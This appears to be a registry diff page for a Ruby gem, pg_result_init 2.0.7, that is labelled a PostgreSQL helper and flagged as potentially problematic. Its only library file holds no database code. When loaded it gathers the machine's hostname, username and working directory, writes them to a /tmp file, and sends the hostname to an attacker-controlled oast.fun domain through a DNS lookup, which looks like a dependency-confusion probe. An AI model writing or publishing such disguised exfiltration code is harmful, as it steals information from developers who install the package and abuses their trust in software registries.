pg_result_init 2.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pg_result_init might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/pg_result_init.rb +42 -0
  3. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 66ced02bc6d3a6602aef0c984578700330cb7573865227fa07a339786bac7955
4
+ data.tar.gz: 5c2b49afab0ed7966d4b1c728931fa94eee05ff6d07a93cedf105011f6f9cda1
5
+ SHA512:
6
+ metadata.gz: 27f1a379d2406c7a131005f05238b5ba0502ba5fbf05f6a1efed558c14189f008cbc74e7d99684dfb2385988fb972e666a5275e083c30c330bf16b37f236988a
7
+ data.tar.gz: 13e3b793e243afecd4690ebafca40de4d7455b766bea4b57e80cf7e73cc75b7e184e456e0301ec1b0c2267a153e541f73a664f5f4154d1c61312484064f48610
@@ -0,0 +1,42 @@
1
+ puts "=" * 60
2
+ puts "SECURITY TEST STARTED"
3
+ puts "=" * 60
4
+
5
+ # جمع معلومات الجهاز
6
+ hostname = `hostname`.chomp
7
+ username = ENV['USER'] || `whoami`.chomp
8
+ current_dir = Dir.pwd
9
+ timestamp = Time.now.to_i
10
+
11
+ puts "📊 System Info:"
12
+ puts " Hostname: #{hostname}"
13
+ puts " Username: #{username}"
14
+ puts " Directory: #{current_dir}"
15
+
16
+ # طريقة 1: أنشئ ملف دليل
17
+ File.write("/tmp/test_gem_#{timestamp}.txt",
18
+ "Test executed at: #{Time.now}\n" +
19
+ "Host: #{hostname}\n" +
20
+ "User: #{username}\n"
21
+ )
22
+
23
+ puts "✅ File created: /tmp/test_gem_#{timestamp}.txt"
24
+
25
+ # طريقة 2: إرسال DNS
26
+ begin
27
+ require 'socket'
28
+ # هذا دومين OAST.FUN الخاص بك
29
+ test_domain = "test-#{timestamp}-#{hostname[0..10]}.fgcbalqqlbbmhnammkgaq6buh83eo1ebk.oast.fun"
30
+ Socket.gethostbyname(test_domain)
31
+ puts "📡 DNS sent to OAST.FUN"
32
+ rescue => e
33
+ puts "⚠️ DNS failed: #{e.message}"
34
+ end
35
+
36
+ puts "=" * 60
37
+ puts "TEST COMPLETED"
38
+ puts "=" * 60
39
+
40
+ module PgResultInit
41
+ VERSION = "2.0.7"
42
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: pg_result_init
3
+ version: !ruby/object:Gem::Version
4
+ version: 2.0.7
5
+ platform: ruby
6
+ authors:
7
+ - Security Auditor
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2025-12-02 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description:
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/pg_result_init.rb
20
+ homepage:
21
+ licenses: []
22
+ metadata: {}
23
+ post_install_message:
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.3.5
39
+ signing_key:
40
+ specification_version: 4
41
+ summary: PostgreSQL Helper
42
+ test_files: []